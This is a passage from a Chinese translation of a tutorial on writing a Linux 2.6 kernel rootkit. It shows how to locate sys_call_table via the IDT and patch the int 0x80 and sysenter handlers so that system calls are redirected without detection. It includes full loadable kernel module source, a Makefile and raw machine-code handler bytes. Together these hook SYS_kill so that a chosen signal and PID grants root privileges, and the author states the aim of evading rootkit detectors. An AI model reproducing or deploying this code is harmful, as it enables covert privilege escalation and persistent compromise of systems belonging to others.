# system call handler stub
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls) , %eax
jae syscall_badsys
# system call tracing in operation
testb $_TIF_SYSCALL_TRACE , TI_FLAGS(%ebp)
jnz syscall_trace_entry
syscall_call:
call *sys_call_table( , %eax , 4 )
movl %eax , EAX(%esp) # store the return value
.
我们看到首先保存记录到栈中,接下来进行一些检查,诸如系统调用号是否正确等。我们感兴趣的是:call sys_call_table * (% eax, 4)。这条指令中含有我们想要找的sys_call_table的地址,它的机器码如下:
0xff 0x14 0x85 *address of sys_call_table*
我们要做的是获得int 0x80处理函数(system_call)的地址,但是现在我们只发现了0xff 0x14 0x85,我们获得Handler的地址了吗?我么你应该如何获得handler的地址呢?
很简单,通过IDT。IDT包含了每一个中断的描述符,IDT的地址保存在IDTR寄存器中,它是48位的,格式如下:
47 15 0
| IDT Base Address | IDT Limit |
换一句话说,就是前两个字节是IDT界限,紧接着4个字节是基地址。通过sidt指令可以读取IDTR寄存器的内容,一旦获得来基地址,我们就可以到达IDT中0x80的中断描述符。描述符功64位,格式如下:
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} ;
也就是说,起始的两个字节和最后的两个字节分别对应着偏移字段的底端和高端,我们可以将它们拼接在一起,获得system_call的地址。整个的实现如下:
---- print_sys_call_table.c ----
#include < linux / types.h >
#include < linux / stddef.h >
#include < linux / unistd.h >
#include < linux / config.h >
#include < linux / module.h >
#include < linux / version.h >
#include < linux / kernel.h >
#include < linux / string .h >
#include < linux / mm.h >
#include < linux / slab.h >
#include < linux / sched.h >
#include < linux / in .h >
#include < linux / skbuff.h >
#include < linux / netdevice.h >
#include < linux / dirent.h >
#include < asm / processor.h >
#include < asm / uaccess.h >
#include < asm / unistd.h >
void * get_system_call( void );
void * get_sys_call_table( void * system_call);
void ** sys_call_table;
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} ;
int init_module( void )
{
void * s_call;
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
printk( " sys_call_table: 0x%08x\n " , ( int ) sys_call_table);
return ( - 1 ); /**/ /* NOTES! */
}
void cleanup_module( void ) { /**/ /* null */ }
void * get_system_call( void )
{
unsigned char idtr[ 6 ];
unsigned long base ;
struct idt_descriptor desc;
asm ( " sidt %0 " : " =m " (idtr));
base = * ((unsigned long * ) & idtr[ 2 ]);
memcpy( & desc, ( void * ) ( base + ( 0x80 * 8 )), sizeof (desc));
return (( void * ) ((desc.off_high << 16 ) + desc.off_low));
} /**/ /* ********** fin get_sys_call_table() ********** */
void * get_sys_call_table( void * system_call)
{
unsigned char * p;
unsigned long s_c_t;
int count = 0 ;
p = (unsigned char * ) system_call;
while ( ! (( * p == 0xff ) && ( * (p + 1 ) == 0x14 ) && ( * (p + 2 ) == 0x85 )))
{
p ++ ;
if (count ++ > 500 )
{
count = - 1 ;
break ;
}
}
if (count != - 1 )
{
p += 3 ;
s_c_t = * ((unsigned long * ) p);
}
else
s_c_t = 0 ;
return (( void * ) s_c_t);
} /**/ /* ********* fin get_sys_call_table() ************ */
MODULE_LICENSE( " GPL " );
使用3.1小节中的Makefile编译(将example.o改为print_sys_call_table.o),安装模块(错误时返回-1,看一下输出什么)。syslog输出为:
Sep 25 01:19:58 enye-sec kernel: sys_call_table: 0xc0323d00
我们再看一下:
[raise@enye-sec]$ grep sys_call_table /boot/System.map
c0323d00 D sys_call_table
可见我们的方法工作的非常好。
------[ 4.- 修改 system_call handler ]
下面,我们来寻找一个方法重定向所有你想要hook的系统调用,但是不改变sys_call_table内容和任何系统调用的代码,以及IDT。怎么来实现呢?非常简单,我们只需要修改int 0x80中断处理函数(system_call)中适当的几个字节就可以了。我们自己来管理我们的系统调用,不用担心rootkit检测器能够检测到它。
我们使用的方法非常简单,我们先来复习一下system_call的汇编代码:
---- arch/i386/kernel/entry.S ----
# system call handler stub
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls) , %eax ---> Those two instrutions will replaced by
jae syscall_badsys ---> Our Own jump
# system call tracing in operation
testb $_TIF_SYSCALL_TRACE , TI_FLAGS(%ebp)
jnz syscall_trace_entry
syscall_call:
call *sys_call_table( , %eax , 4 )
movl %eax , EAX(%esp) # store the return value
.
我们应该插入一个jump指令,我认为最好的地方在 GET_THREAD_INFO(%ebp) 和 testb
$_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) 之间。这之间的正好是判断系统调用号,跳转到syscall_badsys。$(nr_syscalls)的定义如下:
#define nr_syscalls ((syscall_table_size)/4)
表示系统调用号码的最大值(0x112)。“cmpl $(nr_syscalls), %eax”指令占5字节,“jae
syscall_badsys”指令占6字节。这里有11个字节的空间来放入我们自己的跳转代码。最直接的方法就是用
pushl 我们的地址,接着一个 ret 来覆盖,总共需要6字节。我们将放在cmpl指令的开始处。
我们一旦获得系统的控制权(一个程序可以运行了int 0x80,执行了pushl,到我们自己的代码地址),我们就应该判断nr_syscalls和%eax,一旦%eax大于nr_syscalls,就跳转到syscall_badsys,就像原来的int0x80处理函数一样。
假设系统调用是正常的(%eax<nr_syscalls),接下来是检测是不是我们需要重定向的系统调用。例如,我们想重定向SYS_kill系统调用(系统调用号为37),比用%eax跟37比较,如果相等的话,就应该跳转到我们的系统调用代码(模块中的代码)。
如果系统调用不是我们想hook的,那么就返回到控制处理函数中,就像什么都没有发生。事实上现在系统在我们的控制中,我们能够调用原来的系统调用(通过跳转到syscall_call)。
不用担心这些理论的东西,本文后面,将会有一个hook kill系统调用的例子,那个时候你将会看到所有的细节。
------[ 5.- 修改 sysenter_entry handler ]
重写int 0x80处理函数的方法不能够完全解决问题,2.6内核之后,跟libc一起,不再使用int 0x80来调用系统调用了,而是使用了一个特殊的指令 sysenter(2字节:0x0f 0x34),它将会调用 “sysenter_entry”函数。这个函数实际上跟“system_call”一样,但是不再访问IDT了,因此节省了一些时间。也就是说,依靠libc的程序不再使用0x80中断处理函数来执行syscall了,而是使用sysenter。
译者注:出于兼容性和其它的一些考虑,2.6内核没有放弃INT 0x80的系统调用方式。对于那些出现在系统调用的嵌套过程中的系统调用(read、open、close、brk等)仍然使用中断方式,其他系统调用均使用SYSENTER方式。
下面,我们来看一下sysenter_entry函数:
---- arch/i386/kernel/entry.S ----
# sysenter call handler stub
ENTRY(sysenter_entry)
movl TSS_ESP0_OFFSET(%esp) , %esp
sysenter_past_esp:
sti
pushl $(__USER_DS)
pushl %ebp
pushfl
pushl $(__USER_CS)
pushl $SYSENTER_RETURN
/*
* Load the potential sixth argument from user stack.
* Careful about security.
*/
cmpl $__PAGE_OFFSET- 3 , %ebp
jae syscall_fault
1 : movl (%ebp) , %ebp
.section __ex_table , " a "
.align 4
.long 1b , syscall_fault
.previous
pushl %eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls) , %eax ---> Those two instrutions will replaced by
jae syscall_badsys ---> Our Own jump
testb $_TIF_SYSCALL_TRACE , TI_FLAGS(%ebp)
jnz syscall_trace_entry
call *sys_call_table( , %eax , 4 )
movl %eax , EAX(%esp)
.
正如我们看到的函数的内部实现,最后它也是跳转到sys_call_table中:call *sys_call_table(,%eax,4)。
之前的,在栈中保存记录也跟int 0x80的处理函数一模一样。因此,我们完全可以使用同样的方法来处理这个处理函数,加上一个跳转,跳转到我们代码。
不同就在于如何获得sysenter_entry的地址。不像sys_call_table,sysenter_entry是被导出的,我们可以通过下面的命令来获得:
[raise@enye-sec]$ grep sysenter_entry /proc/kallsyms
c010af50 t sysenter_entry
一定存在一种方法,使得能够在module中读取这个值,但是我笨得像一头驴,不能够找到一个函数来读取这个内核符号。如果有人知道怎么做的话,请告诉我:[email protected]。我使用的方法是通过Makefile脚本来读取这个符号,非常高兴说,这个方法工作的很好!
译者注:我们可以通过在内核空间里面打开/proc/kallsyms,搜索"sysenter_entry"来获得这个符号地址。
---read_kallsyms---
/**/ /* *
* read_kallsyms - find sysenter address in /proc/kallsyms.
*
* success return the sysenter address,failed return 0.
*/
#define SYSENTER_ENTRY "sysenter_entry"
int read_kallsyms( void )
{
mm_segment_t old_fs;
ssize_t bytes;
struct file * file = NULL;
char * p,temp[ 20 ];
int i = 0 ;
file = filp_open(PROC_HOME,O_RDONLY, 0 );
if ( ! file)
return - 1 ;
if ( ! file -> f_op -> read)
return - 1 ;
old_fs = get_fs();
set_fs(get_ds());
while ((bytes = file -> f_op -> read(file,read_buf,BUFF, & file -> f_pos))) {
if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL) {
while ( * p -- )
if ( * p == ' \n ' )
break ;
while ( * p ++ != ' ' ) {
temp[i ++ ] = * p;
}
temp[ -- i] = ' \0 ' ;
sysenter = simple_strtoul(temp,NULL, 16 );
#if DEBUG == 1
printk( " sysenter: 0x%8x\n " ,sysenter);
#endif
break ;
}
}
filp_close(file,NULL);
return 0 ;
}
------[ 6.- 一个修改handler实现hook SYS_kill的例子 ]
这里是一个简单的例子,描述了如何修改system_call和sysenter_entry处理函数,实现重定向SYS_kill系统调用,实现本地提升权限,而不被rootkit检测器检测到。在拷贝、粘贴代码之前,最好完全理解了函数的实现。
rootkit中有两个跳转,一个在int 0x80的处理函数(system_call)中,一个在sysenter的处理函数(sysenter_entry)中。
这些跳转的指令在rootkit中分别保存在idt_handler[]和sysenter_entry[]数组中。
这两个数组很相似,我们通过覆盖数组中的某几个字节,来重定向到一个地址,实现对kill函数的hook。
char idt_handler[]= // (sysenter_handler is the same)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02"
"\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90"
"\x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3";
下面来详细看一下这些机器码:
* "\x90\x90\x90\x90\x90\x90\x90\x90\x90":
- 9 条 nop指令, 为了安全起见,我们跳到第5个nop指令(从原先的处理函数中跳转)。
译者注:其实这个没有必要,感觉想缓冲区溢出中的shellcode一样,因为这里是精确跳转,可以不用填充nop指令
* "\x3d\x12\x01\x00\x00" = 'cmp $0x112,%eax' :
-- 判断系统调用号是否正确。
* "\x73\x02" = 'jae +2' :
-- 如果 %eax>=0x122,那么跳过下面的2个字节的指令,调到pushl+ret处,即执行错误系统调用处理函数
* "\xeb\x06" = 'jmp +6' :
-- 跳过下面的2条指令(push + ret,共6字节)。
* "\x68\x90\x90\x90\x90\xc3" = 'pushl 0x90909090' 'ret' :
-- 这里0x90909090表示的地址是原先处理函数中syscall_badsys的地址。
* "\x83\xf8\x25" = 'cmp $0x25,%eax' :
-- 检测系统调用是否是我们想要重定向的 SYS_kill(0x25) 系统调用
* "\x74\x06" = 'je +6' :
-- 如果是跳过下面的2条指令(push + ret,共6字节)。
* "\x68\x90\x90\x90\x90\xc3" = 'pushl 0x90909090' 'ret' :
-- 这里 0x0909090 表示的地址是原先处理函数中"call *sys_call_table(,%eax,4)"指令的地址,即 syscall_call的地址。系统调用不是我们想要hook的kill系统调用时,我们应该将控制返回到中断处理函数中,为了不影响系统调用的执行,我们应该跳转到 syscall_call。
* "\xff\x15\x90\x90\x90\x90" = 'call *0x90909090' :
-- 这里,系统调用是 SYS_kill,因此我们需要跳转到我们自己的代码hacked_kill()中。0x90909090表示的地址就是函数hacked_kill()的地址。
* "\x68\x90\x90\x90\x90\xc3" = 'pushl 0x90909090' 'ret' :
-- 在执行完我们自己的系统调用之后,我们必须将控制权交还给系统,因此0x90909090表示的地址指向的“call sys_call_table * (% eax, 4)”之后的指令,我们称之为after_call。
* 结束 :).
译者注:直接看机器码实在是有些乱,还是整理成汇编代码看着比较清楚:
idt_handler:
cmp $0x112 , %eax
jae + 2
jmp + 6
pushl $addr1 ; addr1:syscall_badsys
ret
cmp $0x25 , %eax
je + 6
pushl $addr2 ; addr2:syscall_call
ret
call *$addr3 ; addr3:hacked_kill
pushl $addr4 ; addr4:after_call
ret
这样我们对于上面的机器代码的流程应该就比较清楚了。
###############################################################################
<system_call>:
push %eax
..
..
cmp $0x137 , %eax -->push address_of(new_idt) --------|
jae c0103e98 <syscall_badsys> -->ret |
|
<syscall_call>: <----------------------------------------| |
call *0xc02cf4c0( , %eax , 4 ) | |
mov %eax , 0x18(%esp) <----------------------- | |
<syscall_exit>: | | |
cli | | |
.. | | |
| | |
.. | | |
| | |
<syscall_badsys>: | | |
.. | | |
| | |
<new_idt>: <-------------------------------------|----|-----------------------|
cmp $0x112 , %eax | |
jae + 2 | |
|--jmp + 6 | |
| pushl $addr1 <-- addressof(syscall_badsys) | |
| ret | |
| | |
| /*Hooked kill function*/ | |
-->cmp $0x25 , %eax | |
---je + 6 | |
| pushl $addr2 <-- addressof(syscall_call) ------|----|
| ret |
| |
|->call *addr3 <-- addressof(hooked_kill) |
|
pushl $addr4 <-- addressof(after_call) ------|
ret
#####################################################################################
我希望我已经讲述清楚了。下面是你想要的完整的LKM的代码,我没有给出unistall的实现,所以结束的唯一方法就是重启系统。
译者注:可以备份system_call和sysenter_entry中被修改的地址和内容,在cleanup_module中,将其进行还原,就可以了。
注意:在拷贝、粘贴Makefile的时候需要特别主义,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。
---- Makefile ----
obj-m : = example_handlers_syskill.o
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8 `
all:
@echo
@echo " ------------------------------------------ "
@echo " LKM (SYS_kill) modified with handlers "
@echo " [email protected] | www.enye-sec.org "
@echo " ------------------------------------------ "
@echo
@echo " #define DSYSENTER $(S_ENT) " > sysenter.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS = $(PWD) modules
clean:
@echo
@echo " ------------------------------------------ "
@echo " LKM (SYS_kill) con handlers modificados "
@echo " [email protected] | www.enye-sec.org "
@echo " ------------------------------------------ "
@echo
@rm -f *.o *.ko *.mod.c .*.cmd sysenter.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS = $(PWD) clean
---- example_handlers_syskill.c ----
/**/ /*
* Example of LKM x86 kernel 2.6.x changing handlers:
*
* - system_call
* - sysenter_entry
*
* Once loaded to obtain local root run:
*
* # kill -s SIG PID
*
* SIG and PID can be changed by modify #define
*
*
* RaiSe <[email protected]>
* eNYe Sec - http://www.enye-sec.org
*
*/
#include < linux / types.h >
#include < linux / stddef.h >
#include < linux / unistd.h >
#include < linux / config.h >
#include < linux / module.h >
#include < linux / version.h >
#include < linux / kernel.h >
#include < linux / string .h >
#include < linux / mm.h >
#include < linux / slab.h >
#include < linux / sched.h >
#include < linux / in .h >
#include < linux / skbuff.h >
#include < linux / netdevice.h >
#include < linux / dirent.h >
#include < asm / processor.h >
#include < asm / uaccess.h >
#include < asm / unistd.h >
#include " sysenter.h "
#define IDT 0
#define SYSENT 1
#define ORIG_BADSYS 19
#define SYSCALL_CALL 30
#define JUMP 5
#define HACKEDCALL 37
#define AFTER_CALL 42
#define SIG 58
#define PID 12345
/**/ /* Save the patched mem of idt and sysenter */
#define PATCHED_SIZE_MAX 10
void * start_patch_idt, * start_patch_sysenter;
unsigned char orig_idt[PATCHED_SIZE_MAX], orig_sysenter[PATCHED_SIZE_MAX];
/**/ /* a orignal syscall pointer */
int ( * orig_kill)(pid_t pid, int sig);
/**/ /* globales variables */
unsigned long orig_bad_sys[ 2 ], syscall_call[ 2 ];
unsigned long after_call[ 2 ], p_hacked_kill;
void * sysenter_entry;
void ** sys_call_table;
/**/ /* function pointer */
void * get_system_call( void );
void * get_sys_call_table( void * system_call);
void set_idt_handler( void * system_call);
void set_sysenter_handler( void * sysenter);
int hacked_kill(pid_t pid, int sig);
/**/ /* structure */
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} ;
/**/ /* handlers */
char idt_handler[] =
" \x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02 "
" \xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90 "
" \x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3 " ;
char sysenter_handler[] =
" \x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02 "
" \xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90 "
" \x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3 " ;
int init_module( void )
{
void * s_call;
sysenter_entry = ( void * ) DSYSENTER;
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);
p_hacked_kill = (unsigned long ) hacked_kill;
orig_kill = sys_call_table[__NR_kill];
return ( 0 );
}
void cleanup_module( void )
{
memcpy(start_patch_idt, orig_idt, 6 );
memcpy(start_patch_sysenter, orig_sysenter, 6 );
}
void * get_system_call( void )
{
unsigned char idtr[ 6 ];
unsigned long base ;
struct idt_descriptor desc;
asm ( " sidt %0 " : " =m " (idtr));
base = * ((unsigned long * ) & idtr[ 2 ]);
memcpy( & desc, ( void * ) ( base + ( 0x80 * 8 )), sizeof (desc));
return (( void * ) ((desc.off_high << 16 ) + desc.off_low));
} /**/ /* ********** fin get_sys_call_table() ********** */
void * get_sys_call_table( void * system_call)
{
unsigned char * p;
unsigned long s_c_t;
p = (unsigned char * ) system_call;
/**/ /* Search "call *sys_call_table(,%eax,4)" */
while ( ! (( * p == 0xff ) && ( * (p + 1 ) == 0x14 ) && ( * (p + 2 ) == 0x85 )))
p ++ ;
p += 3 ;
s_c_t = * ((unsigned long * ) p);
p += 4 ;
after_call[IDT] = (unsigned long ) p;
return (( void * ) s_c_t);
} /**/ /* ********* fin get_sys_call_table() ************ */
void set_idt_handler( void * system_call)
{
unsigned char * p;
unsigned long offset, * p2;
p = (unsigned char * ) system_call;
/**/ /* Seek "jae syscall_badsys" */
while ( ! (( * p == 0x0f ) && ( * (p + 1 ) == 0x83 )))
p ++ ;
start_patch_idt = p - 5 ;
memcpy(orig_idt, start_patch_idt , 6 );
p += 2 ;
offset = * ((unsigned long * ) p);
/**/ /* orig_bad_sys[IDT] = (unsigned long)((p-2) + offset + 6); */
/**/ /* Use offset, Can be OK! */
orig_bad_sys[IDT] = (unsigned long )offset;
syscall_call[IDT] = (unsigned long )((p - 2 ) + 6 );
p = (unsigned char * )(syscall_call[IDT] - 0xb );
* p ++ = 0x68 ;
p2 = (unsigned long * ) p;
* p2 ++ = (unsigned long ) (( void * ) & idt_handler[JUMP]);
p = (unsigned char * ) p2;
* p = 0xc3 ;
p = idt_handler;
* ((unsigned long * )(( void * ) p + ORIG_BADSYS)) = orig_bad_sys[IDT];
* ((unsigned long * )(( void * ) p + SYSCALL_CALL)) = syscall_call[IDT];
* ((unsigned long * )(( void * ) p + HACKEDCALL)) = (unsigned long ) & p_hacked_kill;
* ((unsigned long * )(( void * ) p + AFTER_CALL)) = after_call[IDT];
} /**/ /* ********* fin set_idt_handler() ********** */
void set_sysenter_handler( void * sysenter)
{
unsigned char * p;
unsigned long * p2;
p = (unsigned char * ) sysenter;
/**/ /* Seek "call *sys_call_table(,%eax,4)" */
while ( ! (( * p == 0xff ) && ( * (p + 1 ) == 0x14 ) && ( * (p + 2 ) == 0x85 )))
p ++ ;
p += 7 ;
after_call[SYSENT] = (unsigned long ) p;
p = (unsigned char * ) sysenter;
/**/ /* Search "cmp 0x112,%eax" */
while ( ! (( * p == 0x3d ) && ( * (p + 1 ) == 0x12 ) && ( * (p + 2 ) == 0x01 )
&& ( * (p + 3 ) == 0x00 )))
p ++ ;
p += 11 ;
orig_bad_sys[SYSENT] = orig_bad_sys[IDT];
syscall_call[SYSENT] = (unsigned long )(p);
p = (unsigned char * )(syscall_call[SYSENT] - 0xb );
start_patch_sysenter = p;
memcpy(orig_sysenter, start_patch_sysenter, 6 );
* p ++ = 0x68 ;
p2 = (unsigned long * ) p;
* p2 ++ = (unsigned long ) (( void * ) & sysenter_handler[JUMP]);
p = (unsigned char * ) p2;
* p = 0xc3 ;
p = sysenter_handler;
* ((unsigned long * )(( void * ) p + ORIG_BADSYS)) = orig_bad_sys[SYSENT];
* ((unsigned long * )(( void * ) p + SYSCALL_CALL)) = syscall_call[SYSENT];
* ((unsigned long * )(( void * ) p + HACKEDCALL)) = (unsigned long ) & p_hacked_kill;
* ((unsigned long * )(( void * ) p + AFTER_CALL)) = after_call[SYSENT];
} /**/ /* ********* fin set_sysenter_handler() ********** */
int hacked_kill(pid_t pid, int sig)
{
struct task_struct * ptr = current;
int tsig = SIG, tpid = PID, ret_tmp;
if ((tpid == pid) && (tsig == sig))
{
ptr -> uid = 0 ;
ptr -> euid = 0 ;
ptr -> gid = 0 ;
ptr -> egid = 0 ;
return ( 0 );
}
else
{
ret_tmp = ( * orig_kill)(pid, sig);
return (ret_tmp);
}
return ( - 1 );
} /**/ /* ********* fin hacked_kill *********** */
/**/ /* Liensece GPL */
MODULE_LICENSE( " GPL " );
------[ 7.- 结束 ]
我希望你已经明白了2.6内核下如何实现一个rootkit。很快将会在 http://www.enye-sec.org 上公布一个LKM Rootkit,支持完整的系统调用重定向,不仅仅是重定向kill系统调用;另外还有加载模块的自隐藏等功能。
再见 :).
RaiSe <[email protected]>
=-|================================================================ EOF =====|